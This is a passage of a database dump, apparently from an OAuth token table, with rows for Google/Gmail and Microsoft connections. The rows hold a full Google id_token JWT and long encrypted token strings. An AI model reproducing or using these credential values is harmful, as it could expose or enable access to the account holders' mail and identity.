https://mail.google.com/\";s:10:\"token_type\";s:6:\"Bearer\";s:8:\"id_token\";s:833:\"eyJhbGciOiJSUzI1NiIsImtpZCI6ImI0OWM1MDYyZDg5MGY1Y2U0NDllODkwYzg4ZThkZDk4YzRmZWUwYWIiLCJ0eXAiOiJKV1QifQ.eyJpc3MiOiJhY2NvdW50cy5nb29nbGUuY29tIiwiYXpwIjoiMzg4NTQ2MzQ1OTg5LXZwMm5mcDY4ZTJkdDNsZThvYWhicnB1NG9zc2Ntbm9qLmFwcHMuZ29vZ2xldXNlcmNvbnRlbnQuY29tIiwiYXVkIjoiMzg4NTQ2MzQ1OTg5LXZwMm5mcDY4ZTJkdDNsZThvYWhicnB1NG9zc2Ntbm9qLmFwcHMuZ29vZ2xldXNlcmNvbnRlbnQuY29tIiwic3ViIjoiMTE0MTAxNDQyMDYyNDA1MDE4MDk4IiwiYXRfaGFzaCI6Imx0dFVoU19lNnJ1SzI0dGVYcVU3Z2ciLCJpYXQiOjE2NzU4MTQzNTMsImV4cCI6MTY3NTgxNzk1M30.V23p-2SddCMLJmnm1Q_lahRLhcI7jHyQ3GT1czAJTeAaQ5skup1EIZ1XeCCSTQO7Jp0BgszN1EeOf8CAzM2Re6dQEqGHr0xNTh-xfWQsBPAt8mvEK7oQnmf0MZ0hr-7Kz6kuud4VLtHNr2RtIv3jHS682Xf4k6gKHae7NAWtmpeTz7Kc2aV0WIxeHozCSBhuxFEmooQmm9fCOnyh4QikVYp_K1hWb_J4AvBhy2fq-4xrAQojHLZJB_5qpDVKVdzYQSkNWY6xcmT3_mVBKYHzqgM-mMxWd8aaqgB0pRdTev39VxdrMYyecHIZUOH9eMN8Ps7uUoGSXmDMvaDH3AcaIQ\";}}',NULL,NULL,NULL,1,NULL,'profile,gmail_full-fc97b9aa9a76c88e804b923b7a82e8c9',NULL,NULL,'2023-02-07 23:59:13'),(8,'Microsoft','dolcrypt:AES-256-CTR:f7799b6fc99fd52b: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',NULL,NULL,NULL,1,NULL,NULL,NULL,'2023-02-07 19:25:54','2023-02-07 22:40:27'),(25,'Microsoft-ddd','dolcrypt:AES-256-CTR:c01912ec63ab6a5d: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',NULL,N